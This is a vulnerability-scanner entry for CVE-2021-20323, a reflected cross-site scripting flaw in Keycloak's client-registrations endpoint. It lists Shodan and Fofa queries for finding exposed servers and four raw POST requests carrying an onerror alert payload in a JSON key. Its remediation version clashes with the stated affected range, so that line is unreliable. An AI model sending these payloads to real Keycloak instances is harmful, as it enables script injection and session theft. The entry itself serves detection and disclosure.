| Title | Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting |
|---|---|
| Author | ndmalc,incogbyte |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade Keycloak to a version that is not affected by the vulnerability (10.0.1 or higher). |
| CVSS Score | 6.1 |
| EPSS Score | 0.66054 |
| CVE ID | CVE-2021-20323 |
| CWE ID | CWE-79 |
| Shodan Query | html:"Keycloak"http.title:"keycloak"http.html:"keycloak"http.favicon.hash:-1105083093 |
| Fofa Query | title="keycloak"icon_hash=-1105083093body="keycloak" |
| Tags | cve2021 cve keycloak xss redhat vuln |
Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a ‘Content-Type’ of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
POST /auth/realms/master/clients-registrations/default HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 52
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip
{"Test<img src=x onerror=alert(document.domain)>":1}
POST /auth/realms/master/clients-registrations/openid-connect HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 52
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip
{"Test<img src=x onerror=alert(document.domain)>":1}
POST /realms/master/clients-registrations/default HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 52
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip
{"Test<img src=x onerror=alert(document.domain)>":1}
POST /realms/master/clients-registrations/openid-connect HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Content-Length: 52
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip
{"Test<img src=x onerror=alert(document.domain)>":1}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20323.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-20323.pcap
N/AN/A